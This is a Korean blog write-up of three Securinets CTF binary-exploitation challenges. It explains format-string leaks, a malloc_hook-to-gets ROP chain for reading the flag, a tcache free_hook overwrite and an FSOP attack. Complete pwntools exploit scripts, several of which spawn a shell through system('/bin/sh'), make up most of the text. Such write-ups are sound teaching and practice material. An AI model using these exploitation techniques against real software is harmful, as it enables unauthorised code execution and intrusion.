주말에 Securinets CTF를 잠깐 참여했다. 2~3시간 정도밖에 문제를 안봐서 다 풀지는 못했는데, 나름 재미있었다.
kill-shot (810pts, 24solves)
Summary
- Using fsb, leak pie_base and libc_base and stack_addr
- malloc_hook → gets
- gets(stack)
- rop
- seccomp로
openat
,read
,write
,mmap
함수들을 사용가능 하도록 허용 - fsb로 원하는 주소 leak 가능 (%n이 차단되어 있기 때문에 값을 쓰지는 못함)
- 원하는 주소에 원하는 값을 1회 쓸 수 있음
위와 같은 환경인데, 메모리 보호기법은 모두 걸려있었다. 그리고 malloc과 free를 하는 기능을 구현 해놓은 문제인데, 이때 실행 흐름을 제어하기 위해서 덮을 수 있는 곳은 malloc_hook
, free_hook
, _rtld_global._dl_rtld_lock_recursive
정도가 있을 것이다.
orw를 해야하기 때문에 단순히 흐름을 한 번만 제어하는 것은 의미가 없다. rop를 해야만 하는데, 처음 생각한 아이디어는 free_hook을 printf로 덮는 것이다. malloc을 통해 fsb 코드를 넣고 free를 호출해서 fsb를 발생시키면 뭔가를 할 수 있지 않을 까 싶었다.
근데 생각해보니, leak을 마음대로 할 수 있고 malloc의 인자는 사용자가 입력하는 값이기에 malloc_hook을 gets로 덮었다. malloc의 인자로 malloc_ret를 가리키는 스택 주소를 넣어주면 rop가 가능하고 openat, read, write는 모두 인자가 3개이기 때문에 return to csu 기법을 이용하였다.
openat의 첫 번째 인자는 -100을 넣어주면 open과 동일한 기능을 한다. 또한 로컬에선 fd가 3이지만 remote에선 fd가 5였다.
from jsec import *
#p = process('./kill_shot')
p = remote("bin.q21.ctfsecurinets.com", 1338)
e = ELF('./kill_shot')
libc = e.libc
p.sendafter(': ', '%6$p%24$p%25$p')
stack = int(p.recv(14), 16)
pie_base = int(p.recv(14), 16) - 0x1240
libc_base = int(p.recv(14), 16) - 0x21b97
malloc_hook = libc_base + libc.sym['__malloc_hook']
gets = libc_base + libc.sym['gets']
openat = libc_base + libc.sym['openat']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
print hex(stack)
print hex(pie_base)
print hex(libc_base)
p.sendafter(': ', str(malloc_hook))
p.sendafter(': ', p64(gets))
p.sendafter('t\n', '1')
p.sendafter(': ', str(stack - 0x138))
payload = ''
payload += p64(pie_base + csu_init(e))
payload += chain(stack-0x70, 0xffffffffffffffff - 99, stack-0x58, 0, pie_base + csu_call(e))
payload += chain(stack-0x68, 5, stack-0x50, 0x30, pie_base + csu_call(e))
payload += chain(stack-0x60, 1, stack-0x50, 0x30, pie_base + csu_call(e))
payload += p64(openat)
payload += p64(read)
payload += p64(write)
payload += '/home/ctf/flag.txt\x00'
p.sendline(payload)
p.interactive()
death note (896pts, 18solves)
Summary
- Free the heap 8 times and libc leak
- Using oob, Trigger the heap overflow
- overwrite fd and get shell
0x80이상의 크기로 힙을 여러개 할당하고 8번 free 시키면 마지막에 free한 힙은 티케시가 아닌 언솔빈으로 들어간다. 이때 힙을 한 번 할당하면 이 위치에 힙이 할당되며 libc leak이 가능하게 된다.
그리고 Select 메뉴에 oob가 존재하는데 이를 이용하면 tcache entry 구조체에 있는 주소에 매우 큰 값을 입력 할 수 있다. 결과적으로 heap overflow가 발생하며 fd 값을 덮음으로써 원하는 주소에 힙을 할당받을 수 있게 된다.
from pwn import *
#p = process("./death_note")
p = remote("bin.q21.ctfsecurinets.com", 1337)
e = ELF("./death_note")
libc = e.libc
def Malloc(size):
p.sendafter('it\n', '1')
p.sendafter(':', str(size))
def Edit(idx, name):
p.sendafter('it\n', '2')
p.sendafter(':', str(idx))
p.sendafter(':', str(name))
def Free(idx):
p.sendafter('it\n', '3')
p.sendafter(':', str(idx))
def View(idx):
p.sendafter('it\n', '4')
p.sendafter(':', str(idx))
for i in range(10):
Malloc(0xf0)
for i in range(8):
Free(str(i))
Malloc(0x10)
View(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3ebd90
print hex(libc_base)
Malloc(0x10)
Free(0)
Free(1)
Edit(-52, 'A' * 0xf8 + p64(0x21) + p64(libc.sym['__free_hook'] + libc_base))
Malloc(0x10)
Malloc(0x10)
Malloc(0x10)
Edit(2, p64(libc_base + libc.sym['system']))
Edit(1, '/bin/sh\x00')
Free(1)
p.interactive()
success (957pts, 12solves)
Summary
- If you enter an invalid name, you can leak the pie address and libc address in the stack.
- Filling the every value will result in a 4 byte overflow and can overwrite fd.
- FSOP
잘못된 이름을 입력하면 printf(“%s”)로 사용자가 입력한 이름을 출력해주는데 이때 스택에 남아있는 데이터들을 출력시킬 수 있다. 이를 이용하여 pie 주소와 libc 주소를 알아낼 수 있다.
그 다음에 입력할 수 있는 값의 최대가 64인데 64를 입력하고 값을 채워보면 4byte overflow가 발생하고 fd의 하위 4byte를 변조할 수 있다. 이 4byte를 우리 인풋의 시작 부분으로 바꾸고, fsop 코드를 작성하면 되는데 문제는 float이기 때문에 이런 함수를 정의해서 사용했다.
from struct import *
def p32_(d):
return str(unpack("<f", p32(d))[0])
from jsec import *
#p = process('./main2_success')
p = remote("bin.q21.ctfsecurinets.com", 1340)
e = ELF('./main2_success')
libc = e.libc
p.sendafter(": ", "1" * 8)
p.recvuntil("1" * 8)
pie_base = u64(p.recv(6).ljust(8, '\x00')) - 0x1090
print hex(pie_base)
p.sendafter(": ", "1" * 0x10)
p.recvuntil("1" * 0x10)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3e82a0
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()
print hex(libc_base)
p.sendlineafter(': ', '_' * 0x62)
p.sendafter(": ", "64")
for i in range(5):
p.sendafter(': ', p32_(0x0))
p.sendafter(': ', p32_(0x42424242))
a = ((binsh-100) / 2) + 1
print ("a: " + hex(a))
p.sendafter(': ', p32_(a & 0xffffffff))
p.sendafter(': ', p32_(a >> 32))
for i in range(2):
p.sendafter(': ', p32_(1))
p.sendafter(': ', p32_(0))
p.sendafter(': ', p32_(a & 0xffffffff))
p.sendafter(': ', p32_(a >> 32))
for i in range(8):
p.sendafter(': ', p32_(0))
p.sendafter(': ', p32_(0x41414141))
b = e.bss() + pie_base + 0x500
print ("b: " + hex(b))
p.sendafter(': ', p32_(b & 0xffffffff))
p.sendafter(': ', p32_(b >> 32))
for i in range(18):
p.sendafter(': ', p32_(0))
fake = libc_base + 0x3e8368
print ("fake: " + hex(fake))
p.sendafter(': ', p32_(fake & 0xffffffff))
p.sendafter(': ', p32_(fake >> 32))
print ("system: " + hex(system))
p.sendafter(': ', p32_(system & 0xffffffff))
p.sendafter(': ', p32_(system >> 32))
for i in range(3):
p.sendafter(': ', p32_(0))
p.sendafter(': ', p32_(0))
p.sendafter(': ', p32_((0x202060 + pie_base) & 0xffffffff))
p.interactive()